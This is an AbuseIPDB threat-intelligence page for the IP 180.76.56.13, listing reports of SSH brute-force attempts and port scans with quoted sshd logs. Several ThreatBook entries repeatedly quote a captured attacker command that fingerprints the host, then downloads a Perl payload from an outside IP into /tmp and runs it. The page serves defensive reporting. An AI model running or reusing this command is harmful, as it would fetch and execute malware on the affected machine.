JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 180.76.56.13

180.76.56.13

Neutral Activity

2,154 reports found in our database

0% Low Risk

Abuse confidence score ?

ISP

Beijing Baidu Netcom Science and Technology Co., Ltd.

Usage Type

Data Center/Web Hosting/Transit

ASN

AS38365

Domain Name

baidu.com

Country

🇨🇳 China

City

Beijing, Beijing

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

180.76.56.13 has been reported 2,154 times. The most recent report is from 3 years ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

IP Abuse Reports for 180.76.56.13:

This IP address has been reported a total of 2,154 times from 452 distinct sources. 180.76.56.13 was first reported on February 16th 2022, and the most recent report was 3 years ago.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇳 ThreatBook.io	2023-01-19 22:23:42 (3 years ago)	ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13	SSH
🇺🇸 General_Failure	2023-01-17 03:20:49 (3 years ago)	2023-01-16T20:52:00.269302-06:00 nio.local.lan sshd[118714]: Connection closed by 180.76.56.13 port ... show more 2023-01-16T20:52:00.269302-06:00 nio.local.lan sshd[118714]: Connection closed by 180.76.56.13 port 43436 2023-01-16T21:20:48.360938-06:00 nio.local.lan sshd[119508]: Unable to negotiate with 180.76.56.13 port 53944: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth] ... show less	Brute-Force SSH
🇨🇳 ThreatBook.io	2023-01-16 22:42:14 (3 years ago)	ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13 2023-01-1 ... show more ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13 2023-01-16 00:30:51 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-16 00:44:22 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-16 00:25:18 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-16 00:53:23 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-16 00:38:35 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-16 01:00:15 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] show less	Brute-Force
🇨🇳 ThreatBook.io	2023-01-15 22:52:38 (3 years ago)	ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13 2023-01-1 ... show more ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13 2023-01-15 04:28:07 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-15 04:29:07 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-15 04:28:25 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] show less	Brute-Force
Anonymous	2023-01-15 12:13:01 (3 years ago)	SSHD unauthorised connection attempt	Brute-Force SSH
🇨🇳 ThreatBook.io	2023-01-14 22:58:06 (3 years ago)	ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13 2023-01-1 ... show more ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13 2023-01-14 13:20:43 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-14 13:16:48 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-14 13:28:27 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] show less	Brute-Force
🇩🇪 ps-center	2023-01-14 02:52:17 (3 years ago)	BCK-W: TCP-Scanner. Port: 22	Port Scan
🇹🇭 Sawasdee	2023-01-13 07:45:08 (3 years ago)	SSH break in attempt ...	SSH
🇯🇵 HeliJP	2023-01-12 15:10:24 (3 years ago)	2023-01-12 06:35:58 - Unauthorized SFTP/SSH access attempts from IP address 180.76.56.13 on port 22 ... show more 2023-01-12 06:35:58 - Unauthorized SFTP/SSH access attempts from IP address 180.76.56.13 on port 22 (1 daily hits). show less	FTP Brute-Force
🇩🇪 debaba	2023-01-12 06:41:38 (3 years ago)	Jan 12 07:38:40 Debian-1101-bullseye-amd64-base sshd[854798]: Unable to negotiate with 180.76.56.13 ... show more Jan 12 07:38:40 Debian-1101-bullseye-amd64-base sshd[854798]: Unable to negotiate with 180.76.56.13 port 57134: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth] Jan 12 07:41:37 Debian-1101-bullseye-amd64-base sshd[855041]: Unable to negotiate with 180.76.56.13 port 55810: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth] ... show less	Brute-Force SSH
Anonymous	2023-01-12 06:37:21 (3 years ago)	(sshd) Failed SSH login from 180.76.56.13 (CN/China/-)	Brute-Force SSH
🇩🇪 ps-center	2023-01-12 06:24:08 (3 years ago)	DIS-W: TCP-Scanner. Port: 22	Port Scan
🇨🇳 ThreatBook.io	2023-01-11 22:22:13 (3 years ago)	ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13 2023-01-1 ... show more ThreatBook Intelligence: Scanner,IDC more details on https://threatbook.io/ip/180.76.56.13 2023-01-11 20:55:00 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-11 20:58:41 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] 2023-01-11 20:53:19 ["uname -a;lspci \| grep -i --color 'vga\\\|3d\\\|2d';curl -s -L http://39.165.53.17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred"] show less	Brute-Force
🇯🇵 stfw	2023-01-11 10:17:41 (3 years ago)	22/tcp [2023-01-11]1pkt	Port Scan
🇩🇪 Tha_14	2023-01-10 10:36:52 (3 years ago)	Jan 10 11:36:52 CocktailLiveServer sshd[30380]: Failed password for root from 180.76.56.13 port 3645 ... show more Jan 10 11:36:52 CocktailLiveServer sshd[30380]: Failed password for root from 180.76.56.13 port 36454 ssh2 show less	Brute-Force SSH

Showing 1 to 15 of 2154 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇦 196.240.143.16

🇷🇺 188.234.95.146

🇸🇬 114.119.139.44

🇨🇦 74.58.56.184

🇺🇸 69.164.217.74

🇺🇸 54.166.204.138

🇬🇧 35.203.210.107

🇧🇷 187.180.215.51

🇺🇸 174.138.44.8

🇷🇴 92.118.39.49

🇺🇸 45.79.181.94

🇩🇪 213.209.159.25

🇨🇳 211.103.219.51

🇲🇿 197.249.241.37

🇱🇹 194.165.16.121

🇹🇳 193.95.2.23

🇳🇱 192.253.248.142

🇦🇷 181.46.29.81

🇺🇸 173.239.240.204

🇺🇸 134.228.160.104